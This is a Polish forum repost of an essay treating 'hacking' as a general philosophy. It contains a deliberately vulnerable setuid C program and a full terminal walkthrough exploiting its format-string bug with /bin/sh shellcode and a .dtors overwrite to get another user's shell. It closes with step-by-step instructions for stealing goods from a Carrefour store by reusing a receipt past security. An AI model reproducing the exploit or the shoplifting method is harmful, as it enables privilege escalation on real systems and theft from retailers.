Hacking

Magnefikko

Były Moderator
Dołączył
Maj 29, 2004
Posty
709
Link do oryginału: http://promhyl.tk/index.php?a=art&art=107

Nic nie stoi na przeszkodzie sprowadzeniu hackingu do aspektu czysto technicznego - bez "filozofii", teorii nie związanych bezpośrednio z zagadnieniami IT i rozważań różnego rodzaju wciąż pozostanie hackingiem. Jednakże konkretne techniki i ideologie hackingu, podobnie jak każdej innej dziedziny stworzonej przez ludzkie umysły, można wyabstrahować i wykorzystać w o wiele szerszym zakresie. Przykładem zastosowania przebadanych, uogólnionych technik hackingu którym zostały nadane cechy uniwersalności może być obecny na Promhylu wydzielony dział - Lifehacking. Istota hackingu i konkretne techniki wykorzystywane są do indukcyjnego modelowania technik nowej dziedziny, pozwalających chociażby na pozyskiwanie dowolnych towarów ze sklepów za darmo. Kwestie moralności pewnych działań zostawmy tymczasowo gdzieś obok, by nie przeszkadzała nam w rozważaniach.

Do jednych z głównych zajęć Promhylu należy abstrahowanie i uniwersalizacja technik, idei, wartości, metodyki, różnego rodzaju dziedzin nauki i życia. Hacking jest tu nie tylko jednym ze źródeł, ale i jedną z metod osiągania pożądanego rezultatu. Jego istotą jest dogłębne poznanie "atakowanego" systemu logicznego i wykorzystanie właściwości swojego umysłu (umiejętności abstrahowania, myślenia nielogicznego i przede wszystkim - popełniania błędów) w jego ramach tak, by dotrzeć do wybranego celu. Przykładowo, technika przepełnienia bufora jest niczym innym jak mieszanką dogłębnej znajomości właściwości atakowanego systemu operacyjnego i sposobu działania samej maszyny oraz nuty ludzkiego "szaleństwa", czarów umysłu, wzniesieniem się ponad ramy logiki (lub w przypadku pewnej mało szanowanej części zainteresowanych efektem odpalenia exploita). Ludzkie umysły pracują w sposób logiczny, szukają harmonii, ładu, powiązań między obiektami i zjawiskami, zarówno wewnętrznymi jak i zewnętrznymi. Wynika z tego fakt, że wszystkie procedury, prawa, sposoby działania, są systemami logicznymi o dużym stopniu determinizmu, utrzymywanym na stałym poziomie przez ograniczanie szumów informacyjnych (emocje, zdarzenia losowe) które w szerszym zakresie i tak należą do modelu deterministycznego i z niego wynikają. Istotą automatyzmu społeczeństwa jako całości oraz poszczególnych jednostek jest stałe przeciwstawianie się kierunkowi upływu czasu termodynamicznego, rosnącej entropii - dążenie do utrzymania układu w stanie anizotropowości jest istotą jego istnienia jako samosterującego i samoregulującego się. Wynika z tego prosty wniosek, że "hakować" można wszystko co stworzył człowiek - od systemów operacyjnych, poprzez maszyny różnego rodzaju, aż do całych społeczeństw. Esencje techniki zaczerpniętej z hackingu, sztuk walki, survivalu, gotowania, dowolnej religii i ideologii można przekształcić i przystosować do działania w dowolnym środowisku stworzonym przez ludzkie umysły.

W dowolnym układzie można wydzielić wyższy i niższy krąg abstrakcji, przy czym oba wydzielone kręgi wciąż zawierają się w pierwotnym pojęciu, o ile pojęcia wejściowe nie ulegną skrajnym przemianom. Weźmy pewną aplikacje działającą pod kontrolą systemu operacyjnego Linux i spróbujmy dokonać inkrementacji zakresu zastosowanych pojęć.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv){
FILE *plik;
struct s_passwds {
unsigned short int typ;
unsigned short int przydzielony;
} passwds;
if(!(plik = fopen("kody", "r"))){
plik = fopen("kody", "a");
passwds.typ = 0;
passwds.przydzielony = 0;
fwrite(&passwds, sizeof(passwds), 1, plik);
}
fclose(plik);
if(argc != 2){
printf("Usage: %s numer_hasla\n\nDostepne hasla jednorazowe:\n", argv[0]);
printf("1. Haslo do downloadu jednego pliku .mp3\n2. Haslo do downloadu jednego pliku .txt\n");
}
else{
if(atoi(argv[1]) == 1 || atoi(argv[1]) == 2){
plik = fopen("kody", "r");
fread(&passwds, sizeof(passwds), 1, plik);
passwds.typ = atoi(argv[1]);
if(passwds.przydzielony){
printf("Kod #%d zostal juz przydzielony.\n", passwds.typ);
exit(0);
}
else {
passwds.przydzielony = 1;
fclose(plik);
plik = fopen("kody", "w");
fwrite(&passwds, sizeof(passwds), 1, plik);
fclose(plik);
char buff[128];
sprintf(buff, "echo $(tail -n 1 codes%d); head -n-1 codes%d > ctmp; mv ctmp codes%d", atoi(argv[1]), atoi(argv[1]), atoi(argv[1]));
system(buff);
exit(0);
}
}
printf("Zly numer kodu:\n");
printf(argv[1]);
printf("\n");
}
}


Jest to bardzo prosty program, który umożliwia użytkownikowi otrzymanie hasła jednorazowego umożliwiającego ściągnięcie wybranego pliku .mp3 lub .txt . Nie jest to w pełni funkcjonalna aplikacja - należałoby zastosować bit suid, zmodyfikowaną polityke dostępu do plików i tym podobne mechanizmy, jednak ów program ma jedynie modelować przykładowe zagadnienie z zakresu hackingu. Pierwszym kręgiem abstrakcji jest tutaj sama logika programu, zawarty w nim system logiczny.

mag@promhyl~$ ./a.out
Usage: ./a.out numer_hasla

Dostepne hasla jednorazowe:
1. Haslo do downloadu jednego pliku .mp3
2. Haslo do downloadu jednego pliku .txt
mag@promhyl~$ ./a.out 1
D6GrGD
mag@promhyl~$ ./a.out 1
Kod #1 zostal juz przydzielony.
mag@promhyl~$


Dogłębnie poznając system i wykorzystując właściwości naszych umysłów jesteśmy w stanie wykorzystać zasady nim rządzące do własnych celów, na przykład do uzyskania większej ilości haseł jednorazowych. W tym przypadku wystarczy usunąć "dowód otrzymania kodu".

mag@promhyl~$ ./a.out 1
Kod #1 zostal juz przydzielony.
mag@promhyl~$ rm kody
mag@promhyl~$ ./a.out 1
26ksGg
mag@promhyl~$ rm kody
mag@promhyl~$ ./a.out 1
77sdbd
mag@promhyl~$


W kręgu abstrakcji programu mamy pojęcia takie jak "kod" (hasło jednorazowe), "dowód otrzymania kodu", "sprawdzenie dowodu", "stworzenie dowodu". Dokonując inkrementacji zakresu pojęć przejdziemy do wyższego kręgu abstrakcji - środowiska w którym wykonywany jest kod, czyli systemu operacyjnego Linux. Operować wtedy będziemy na pojęciach takich jak "plik", "zmienna", "bufor". Nadużycie systemu logicznego zawartego w kręgu abstrakcji programu wymagało jego zrozumienia, dogłębnego poznania. Podobnie, by dokonać nadużycia w kręgu "system operacyjny", ów system i zasady nim rządzące musimy dobrze znać. W tym przypadku przyda się znajomość podatności ciągów formatujących na ataki oraz umiejętność pisania shellcodów. Dokonamy ataku jako inny użytkownik.

mag@promhyl~$ vim appz.c
mag@promhyl~$ cat appz.c | grep setreuid
setreuid(107, 107);
mag@promhyl~$ cat appz.c | grep system
system(buff);
mag@promhyl~$ gcc appz.c 2>/dev/null
mag@promhyl~$ chmod 700 codes*
mag@promhyl~$ chmod 755 a.out
mag@promhyl~$ chmod +s a.out
mag@promhyl~$ su another
Hasło:
another@promhyl:/home/mag$ ./a.out 1
Fhr6ht
another@promhyl:/home/mag$ ./a.out 1
Kod #1 zostal juz przydzielony.
another@promhyl:/home/mag$ cat codes2
cat: codes2: Permission denied
another@promhyl:/home/mag$ rm kody
rm: nie można usunąć `kody': Permission denied
another@promhyl:/home/mag$ export szel=$(perl -e 'printf "\x90"x1024 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80"')
another@promhyl:/home/mag$ gdb -q
(gdb) p 0xbfff - 8
$1 = 49143
(gdb) p 0xfdc0 - 0xbfff
$2 = 15809
(gdb) q
another@promhyl:/home/mag$ objdump -x ./a.out | grep dtors
17 .dtors 00000008 08049ae4 08049ae4 00000ae4 2**2
08049ae4 l d .dtors 00000000 .dtors
08049ae4 l O .dtors 00000000 __DTOR_LIST__
08048570 l F .text 00000000 __do_global_dtors_aux
08049ae8 g O .dtors 00000000 .hidden __DTOR_END__
another@promhyl:/home/mag$ ./a.out $(perl -e 'printf "\xe4\x9a\x04\x08\xe6\x9a\x04\x08"')%49143x%178\$nh%15809x%179\$nhqqqq
sh-3.2$ id
uid=107(mag) gid=1000(promhyler) groups=1000(promhyler)
sh-3.2$ head -n 5 codes1
64df2k
nkf5bt
nh2f56
DGkzss
4sbhdz
sh-3.2$


Dokonując dalszej inkrementacji znaczenia pojęć otrzymujemy abstrakcyjny model zależności, w istocie nie mniej i nie bardziej ograniczony od poprzednich (logika programu i logika systemu) bo wynikający z nich. Na obecnym etapie możemy dokonywać dalszych inkrementacji, pod warunkiem zagnieżdżenia aktualnego zestawu pojęć w odpowiednim nośniku. Możemy również wybrać dowolny niższy krąg abstrakcji i dokonać dekrementacji pojęć. Przyjmijmy że chcemy dokonać nadużycia systemu logicznego sklepu Carrefour, którego przykład omówiony został w dziale o lifehackingu. W pierwszej kolejności dekrementujemy krąg pojęć do odpowiednika systemu operacyjnego - zespołu relacji społecznych, w którym działa wydzielony system do którego dokonujemy dalszej dekrementacji - do samego sklepu. W efekcie otrzymujemy pojęcia takie jak "paragon" (dowód zakupu), "cena", "produkt". Podstawową metodą przejęcia towaru bez udzielania zapłaty jest kradzież - polega ona na przeniesieniu towaru poza obszar sklepu tak, by elementy składowe systemu nie zanotowały posiadania przez nas danego towaru. W przykładowym programie który przytoczyliśmy wcześniej byłoby to uniemożliwienie aplikacji dokonywania zapisu w pliku "kody". Kradzież jest metodą prymitywną, atoli możemy ją udoskonalić. W aplikacji przykładowej w kręgu jej logiki "okradaliśmy" go usuwając plik "kody", czyli niszcząc dowód przydzielenia kodu. W sklepie dostajemy dowód przydzielenia towaru, ale pełni on nieco inną rolę - jest dowodem posiadania towaru, nie czymś co uniemożliwia jego zdobycie. Dowód dostajemy po dokonaniu zapłaty za niego. Skoro - mówiąc w przybliżeniu - plik "kody" i paragon są pojęciami abstrakcyjnymi antagonistycznymi do siebie, odpowiednikiem usunięcia pliku "kody" jest "stworzenie" paragonu. Możemy go wydrukować (potrzebujemy odpowiedniego sprzętu i wiedzy) i wynieść wybrane towary za darmo, lub zdobyć go w inny sposób. Najłatwiej "wyprodukować" go samemu, kupując go. Kupujemy wybrany, łatwo dostępny towar (z dala od kas peryferyjnych), opłacamy go, poza sklepem oddajemy komuś bądź ukrywamy, wracamy z paragonem do sklepu, bierzemy ten sam zestaw towarów i wychodzimy, prezentując ochronie dowód zakupu. Atak ów można modyfikować w zależności od swoich potrzeb i obaw.

To był tylko drobny przykład, świadomość abstrakcji pojęć stosowanych w hackingu i innych sztukach stworzonych przez ludzi otwiera przed nami duże możliwości. Jako że hacking jest naszą pasją i doskonale się do tego nadaje, używamy jego. Hacking nie musi być ograniczony do komputerów. Umożliwia nam dotknięcie ludzkiej duszy.
 
Ostatnia edycja:
Do góry Bottom